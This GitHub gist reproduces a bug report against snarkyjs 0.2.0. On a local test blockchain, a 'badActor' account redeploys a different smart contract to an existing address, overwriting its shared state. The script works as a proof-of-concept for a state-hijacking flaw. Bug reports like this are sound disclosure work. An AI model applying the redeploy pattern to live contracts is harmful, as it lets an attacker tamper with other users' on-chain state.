Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
[BUG] snarkyjs 0.2.0 allows multiple snapps to be deployed to the same address with shared state
import {
Field,
isReady,
method,
Mina,
Party,
PrivateKey,
PublicKey,
shutdown,
SmartContract,
state,
State,
UInt64,
} from 'snarkyjs';
class Squared extends SmartContract {
@state(Field) value = State<Field>();
constructor(initialBalance: UInt64, address: PublicKey, x: Field) {
super(address);
this.balance.addInPlace(initialBalance);
this.value.set(x);
}
@method
async update(squared: Field) {
const x = await this.value.get();
x.square().assertEquals(squared);
this.value.set(squared);
}
}
class Cubed extends SmartContract {
@state(Field) value = State<Field>();
constructor(initialBalance: UInt64, address: PublicKey, x: Field) {
super(address);
this.balance.addInPlace(initialBalance);
this.value.set(x);
}
@method
async update(cubed: Field) {
const x = await this.value.get();
x.square().mul(x).assertEquals(cubed);
this.value.set(cubed);
}
}
async function runSimpleApp() {
await isReady;
const Local = Mina.LocalBlockchain();
Mina.setActiveInstance(Local);
const sender = Local.testAccounts[0].privateKey;
const sponsor = Local.testAccounts[1].privateKey;
const badActor = Local.testAccounts[2].privateKey;
const badSponsor = Local.testAccounts[3].privateKey;
const snappPrivkey = PrivateKey.random();
const snappPubkey = snappPrivkey.toPublicKey();
let squaredInstance: Squared;
let cubedInstance: Cubed;
// Deploys the snapp
await Mina.transaction(sender, async () => {
// sponsor sends 1000000000 to the new snapp account
const amount = UInt64.fromNumber(1000000000);
const p = await Party.createSigned(sponsor);
p.balance.subInPlace(amount);
squaredInstance = new Squared(amount, snappPubkey, new Field(3));
})
.send()
.wait();
console.log('initial state after deployment 3 ==', (await Mina.getAccount(snappPubkey)).snapp.appState[0].toString());
// Update the snapp
await Mina.transaction(sender, async () => {
// 9 = 3^2
await squaredInstance.update(new Field(9));
})
.send()
.wait();
console.log('initial state after deployment 9 ==', (await Mina.getAccount(snappPubkey)).snapp.appState[0].toString());
await Mina.transaction(sender, async () => {
// Fails, because the provided value is wrong.
await squaredInstance.update(new Field(109));
})
.send()
.wait()
.catch((e) => console.log('second update attempt failed'));
console.log('state does not change after bad call 9 ==', (await Mina.getAccount(snappPubkey)).snapp.appState[0].toString());
// Deploys a different Snapp to the same address with new initial state.
// BUG!!! this should not be allowed??
await Mina.transaction(badActor, async () => {
// sponsor sends 1000000000 to the new snapp account
const amount = UInt64.fromNumber(1000000000);
const p = await Party.createSigned(badSponsor);
p.balance.subInPlace(amount);
cubedInstance = new Cubed(amount, snappPubkey, Field(2)); // BUG!!! this new state overrides the existing state
})
.send()
.wait();
console.log('state value after redeploy 2 == ', (await Mina.getAccount(snappPubkey)).snapp.appState[0].toString());
// Calling the new snapp also works
await Mina.transaction(sender, async () => {
await cubedInstance.update(new Field(2 * 2 * 2));
})
.send()
.wait();
console.log('calling new contract also works 8 ==', (await Mina.getAccount(snappPubkey)).snapp.appState[0].toString());
// Calling the old snapp still works, but with the new state
// this is also bad because the good actors are unaware how the state has been updated
await Mina.transaction(sender, async () => {
await squaredInstance.update(new Field(8 * 8));
})
.send()
.wait();
console.log('calling old contract still works 64 ==', (await Mina.getAccount(snappPubkey)).snapp.appState[0].toString());
}
runSimpleApp();
shutdown();
@mirceanis
Copy link
Author

mirceanis commented Jan 21, 2022

This demonstrates how to reproduce the bug reported in snarkyjs

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment